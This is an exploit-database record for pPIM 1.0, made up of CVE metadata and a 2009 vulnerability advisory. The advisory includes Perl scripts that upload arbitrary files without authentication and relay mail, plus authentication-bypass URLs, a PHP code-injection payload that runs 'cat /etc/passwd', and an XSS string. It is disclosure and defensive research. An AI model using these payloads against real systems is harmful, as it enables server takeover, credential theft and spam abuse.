{"exploit":{"id":"EDB-8105","name":"pPIM 1.0 - Multiple Vulnerabilities","description":"pPIM 1.0 - Multiple Vulnerabilities","cves":["CVE-2008-4528","CVE-2008-4428","CVE-2008-4427","CVE-2008-4426","CVE-2008-4425"],"author":"Justin Keane","published":"2009-02-25","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8105","path":"exploits/php/webapps/8105.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8105.txt","vulnerabilities":[{"id":"CVE-2008-4528","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in notes.php in Phlatline's Personal Information Manager (pPIM) 1.01 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the id parameter in an edit action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4528","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4528"},"updatedAt":"2024-08-07T10:17:09.906Z","retrievedAt":"2026-11-27T17:47:13.391Z","stale":false,"error":null},{"id":"CVE-2008-4428","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in upload.php in Phlatline's Personal Information Manager (pPIM) 1.0 and earlier allows remote attackers to execute arbitrary code by uploading a .php file, then accessing it via a direct request to the file in the top-level directory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4428","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4428"},"updatedAt":"2024-08-07T10:17:09.346Z","retrievedAt":"2026-11-27T17:09:02.767Z","stale":false,"error":null},{"id":"CVE-2008-4427","state":"PUBLISHED","title":null,"titleSource":null,"description":"changepassword.php in Phlatline's Personal Information Manager (pPIM) 1.0 and earlier does not require administrative authentication, which allows remote attackers to change arbitrary passwords.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4427","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4427"},"updatedAt":"2024-08-07T10:17:09.813Z","retrievedAt":"2026-11-27T06:37:05.981Z","stale":false,"error":null},{"id":"CVE-2008-4426","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cross-site scripting (XSS) vulnerability in events.php in Phlatline's Personal Information Manager (pPIM) 1.0 allows remote attackers to inject arbitrary web script or HTML via the date parameter in a new action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4426","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4426"},"updatedAt":"2024-08-07T10:17:09.697Z","retrievedAt":"2026-11-27T17:27:46.729Z","stale":false,"error":null},{"id":"CVE-2008-4425","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in upload.php in Phlatline's Personal Information Manager (pPIM) 1.0 allows remote attackers to delete arbitrary files via directory traversal sequences in the file parameter within a delfile action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4425","cvss":{"version":"2.0","baseScore":8.8,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:N/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4425"},"updatedAt":"2024-08-07T10:17:09.237Z","retrievedAt":"2026-11-27T17:27:53.168Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8105.png?v=2","url":"https://exploitbin.com/exploits/EDB-8105","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8105/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8105/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"- -= pPIM Multiple Vulnerabilities =-\n\nVersion Tested:  pPIM 1.0\nVendor notified\nFull details can also be found at http://www.lampsecurity.org/node/18\nAuthor: Justin C. Klein Keane <justin@madirish.net>\n\nDescription\n\npPIM (http://www.phlatline.org/index.php?page=prod-ppim) is a Personal\nInformation Management application written in PHP that can store\ncontacts (including their photos), events, links, notes, send and check\nemail, and upload files.  pPIM came to my attention recently with the\npublishing on Milw0rm of exploit code designed to facilitate remote\ncommand execution (http://www.milw0rm.com/exploits/8093).  As there is a\nmilw0rm exploit already posted it is likely malicious users are already\nexploiting pPIM.  I decided to have a closer look at pPIM and, quite\nfrankly, was horrified by what I found.  pPIM contains multiple\nvulnerabilities, from version information leakage, to system credential\ndisclosure, to remote command execution, authentication bypass and cross\nsite scripting vulnerabilities.  Possibly the only class of\nvulnerability pPIM is not exposed to is SQL injection as it doesn't\nemploy any database back end.  That said, there seemed to be nothing in\nthe way of security other than an easily bypassable GET variable check\nin the header, present in pPIM.  The following is a brief synopsis of my\nfindings, although I gave up investigation at after discovering so many\nflaws in the application's architecture with respect to security.\n\nVersion Information Leakage:\n\nBy calling the URL http://target.tld/ppim/Readme.txt you can view the\nversion information of the installed version of pPIM.\n\nPassword Hash Disclosure:\n\nBy requesting the URL http://target.tld/ppim/password.dat the password\nhash is revealed.  Depending on the hashing algorithm used by PHP this\ncould be trivially easy to compromise using a password cracking tool\nlike John the Ripper.\n\nUnauthenticated Password Change:\n\nThere is no authentication protection on the password changing script,\nso calling\n\nhttp://target.tld/ppim/changepassword.php\n\nwill present an attacker with the password change script and allow\npassword reset without confirming the existing password.\n\nMultiple Authentication Problems:\n\nBecause the authentication takes place in templates/header.html in an\nembedded piece of PHP code, depending on server configuration, this code\nmight not be executed.  Unless the web server is specifically configured\nto execute PHP embeded in HTML files server site the PHP code will\ninstead simply be passed back to clients as actual HTML.\n\nAuthentication bypass is possible by simply appending the GET variable\n'login=1' to the URL.  For example, to access the Calendar page, calling\nthe URL 'http://target.tld/ppim/calendar.php' will redirect the\nunauthenticated user to the login page.  However, calling the URL\n'http://target.tld/ppim/calendar.php?login=1' will allow unauthenticated\naccess to the Calendar.  Any of the pages in pPIM can be accessed this way.\n\nArbitrary File Upload\n\npPIM's upload.php script allows attackers to upload arbitrary scripts of\nany type to the target server.  To do this using Perl simply create the\nfile and upload it using Perl:\n\n$ echo \"<?php echo phpinfo();?>\" > phpinfo.php\n\nThe execute the following Perl script:\n\n#!/usr/bin/perl\n#\n# pPIM Uploader by Justin C. Klein Keane <justin@lampsecurity.org>\n# Used to upload the file phpinfo.php to a target pPIM site\n# bypassing authentication.\n#\n# Feb 24, 2009\n#\nuse LWP::UserAgent;\nuse HTTP::Request::Common qw(POST);\n\n$ua = LWP::UserAgent->new();\n$request = HTTP::Request->new();\n\n$response = $ua->request( POST 'http://target.tld/ppim/upload.php?login=1',\n        Content_Type => 'form-data',\n        Content =>\n        [\n                'submitupload' => 'submitupload',\n                'userfile' => ['./info.php']\n        ],\n);\ndie \"Error: \", $response->status_line unless $response->is_success;\n\nUnauthorized Email Relay\n\npPIM's sendmail.php script has absolutely no authentication or\nvalidation, allowing anyone with access to the site to relay e-mail.\nThe following Perl script will relay email through the pPIM installation:\n\n#!/usr/bin/perl\n#\n# pPIM Mailer by Justin C. Klein Keane <justin@lampsecurity.org>\n# Used to relay mail through any pPIM installation\n#\n# Feb 24, 2009\n#\nuse LWP::UserAgent;\nuse HTTP::Request::Common qw(POST);\n\n$ua = LWP::UserAgent->new();\n$request = HTTP::Request->new();\n\n$response = $ua->request( POST 'http://target.tld/ppim/sendmail.php',\n        Content_Type => 'form-data',\n        Content =>\n        [\n                'submitemail' => 'submitemail',\n                'to' => 'root@localhost',\n                'from' => 'root@localhost',\n                'message' => 'You are just asking for spam!'\n        ],\n);\ndie \"Error: \", $response->status_line unless $response->is_success;\n\nPosting Unauthenticated Notes\n\nThe notes.php script fails to check authentication before inserting new\nnotes.  This allows attackers to post notes without even having to\nbypass authentication.  Similarly no authentication is required to\ndelete notes, allowing unauthenticated attackers to clear all stored notes.\n\nXSS Vulnerability\n\nNone of the form fields seem to be adequately scrubbed to prevent Cross\nSite Scripting (XSS).  This vulnerability is endemic throughout the\napplication.  For instance, creating a note with the title\n\"<script>alert('foo');</script>\" causes a JavaScript alert box to pop up\nthe word \"foo\" whenever the Notes screen is accessed.\n\nSystem Credential Exposure\n\nBecause the Email function stores mailbox information as a flat file it\nis easy to disclose system account information.  For instance, in pPIM,\nif I were to create a new mailbox for root a file called \"root.email\"\nwould be created in the email folder.  By calling the URL\nhttp://target.tld/ppim/email/root.email the following output is exposed\nvia web browser:\n\n<?php\n$mailserver = \"localhost\";\n$username = \"root\";\n$password = \"root_password\";\n?>\n\nThus an attacker that can enumerate (or guess) user accounts for\nmailboxes set up via pPIM can easily disclose server location as well as\nusernames and passwords. This vulnerability affects all data stored in\npPIM - it can be accessed directly via URL call without any form of\nauthentication and will expose any material stored in pPIM to users\nwithout authentication.\n\nArbitrary Command Execution\n\nBy creating a specially crafted link an attacker can run arbitrary\ncommands with the privileges of the web server process.  By altering the\nURL field of a link the data files created can be manipulated.  Under\nnormal usage a user can create a new link under a group, say the\n'test_group' with the name 'testlink', the URL '192.168.0.1' and the\ndescription 'test description'.  This file is then stored in pPIM's root\ndirectory under the links/test_group/ directory as testlink.link.\nViewing this file we see:\n\n$ cat testlink.link\n<?php\n$url=\"192.168.0.52\";\n$name=\"test link\";\n$description=\"This is the test link\";\n?>\n\nThis file is included as a PHP include when the note is rendered.\nRudimentary JavaScript provides client side validation of input data,\nbut if an attacker arbitrarily submitted a form with the following data:\n\nlinkname=evil_link&linkurl=\";$url=system('cat\n/etc/passwd');$foo=\"&linkdescription=test2&groupname=test+group&linksubmit=Make+Link\n\nThe URL variable is overwritten with injected definition.  Looking at\nthe evil_link.link file created on the filesystem we see:\n\n$ cat evil_link.link\n<?php\n$url=\"\";$url=system('cat /etc/passwd');$foo=\"\";\n$name=\"evil_link\";\n$description=\"test2\";\n?>\n\nThus we have arbitrarily overwritten the $url variable and assigned it\nthe value that returns from the output of our system call.  In fact, now\nwhen a user viewed the Links page they could read the /etc/passwd file\nvia a web browser.\n\nConclusions:\n\nI stopped poking at pPIM after gleaning these details as it became\nabundantly clear that the application is thoroughly riddled with holes.\n pPIM fails to enforce any security in it's code, and deploying the\napplication produces a gaping hole in the security of any host.\n\nRecommendations:\n\nUninstall pPIM immediately!\n\n# milw0rm.com [2009-02-25]","sha256":"f5cf139c962a988188a7365cb9e826f4ad35dbe4b356fb96f603f32c3eef2630","bytes":8148,"fetchedAt":"2026-11-27T17:09:01.058Z","encoding":"utf-8 (display only; download retains original bytes)"}